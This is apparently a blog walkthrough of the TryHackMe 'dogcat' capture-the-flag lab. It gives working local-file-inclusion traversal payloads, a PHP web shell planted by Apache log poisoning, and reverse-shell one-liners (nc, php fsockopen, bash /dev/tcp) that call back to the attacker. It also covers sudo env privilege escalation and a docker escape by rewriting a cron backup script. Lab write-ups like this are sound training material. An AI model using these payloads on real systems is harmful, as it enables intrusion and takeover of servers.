TryHackMe: dogcat

ratiros01
6 min readJul 12, 2020

[Enumeration]

Port scan

nmap -Pn <ip>

There’re 2 ports: 22 and 80.

OS and service scan

nmap -A -p 22,80 <ip>

Vulnerable scan

nmap --script vuln -p 22,80 <ip>

Access HTTP Site

View page source

Click cat

Click dog

Scan site’s directory.

gobuster dir --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://<ip>/ -x php,txt,html

There’re 3 interesting files: flag.php, cat.php, and dog.php.

Access all of them.

dog.php

cat.php

flag.php , nothing revealed.

[Explaoitation]

Back to the site, seems like index page is included with “dog.php” and “cat.php”.

Try to view “flag”. Failed!!!

Only dogs and cats are allowed.

Try to access “/etc/passwd”. Failed!!!

Try to access “./dog”

Seems like I can call anything, but I need text “dog” in the request.

Let’s append “/etc/passwd” in the request.

http://<ip>/?view=./dog/../../../../../../../../../../../../../etc/passwd

Seems like I need to bypass it.

Using payload all the things

Reference: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

I will use php://filter with base64.

Let’s intercept with Burp Suite

Send to Repeater

Let’s view index page first.

http://<ip>/?view=php://filter/convert.base64-encode/resource=./dog../../index

Success!!! There’s result with base64 strings.

Decode with Burp Suite’s Decoder.

Now I have source code of index.php.

Viewing the source code.

This means I have to include “dog” or “cat” in the request and If I don’t include parameter “ext”, It will automatically assign “.php”.

Let’s send the request again. This time I will try to read “/etc/passwd ” and include parameter “ext”

http://<ip>/?view=./dog../../../../../../../../etc/passwd&ext=

Success!!!

View page source, not much useful.

Next step, I’ll use log poisoning exploitation.

Since I screw up log file. I have to terminate the machine and start again.

I will use Burp Suite repeater to send the request

http://<ip>/?view=./dog../../../../../../../../var/log/apache2/access.log&ext=

Success!!! Now I can access /var/log/apache2/access.log

Let’s add command

Edit User-Agent to be:

 <?php system($_GET['cmd']); ?>

Send the request as:

/?view=./dog../../../../../../../../var/log/apache2/access.log&ext=id

Success!!!

Let’s get the reverse shell.

Create listener

nc -lvp 1234

Reverse shell reference: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Use Burp Suite to encode command as URL

I tried this command first:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Copy to the request and send. Failed!!!

Since this site is php, This time I will use php command.

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Copy to the request and send.

Back to listener, Now I have a shell.

[Privilege escalation]

Let’s explore the machine.

pwdlscat flag.php

Now I have first flag.

cd ..ls

There’s flag2 in “/var/www”.

cat flag2_QMW7JvaY2LvK.txt

Let’s explore user directory

cd /homelsls -la

Nothing

Let’s verify if I can use sudo command.

I can use “env”.

Root command reference: https://gtfobins.github.io/gtfobins/env/#sudo

sudo env /bin/shid

Now I’m root.

cd /rootlscat flag3.txt

Now I have flag3.

Let’s explore the machine furthermore to find last flag.

cd /tmpls

Nothing

cd /optls -la

There’s backups directory

cd backupsls -la

This “backup.sh” s interesting.

cat backup.sh

This machine have a docker.

Let’s bypass it

Create another reverse shell

nc -lvp 1235

Replace former script in backup.sh with reverse shell

echo "#!/bin/bash" > backup.shecho "/bin/bash -c 'bash -i >& /dev/tcp/<ip>/1235 0>&1'" >> backup.sh

Back to listener and wait for awhile.

Now I have another shell.

ls

There’s forth flag.

cat flag4.txt

--

--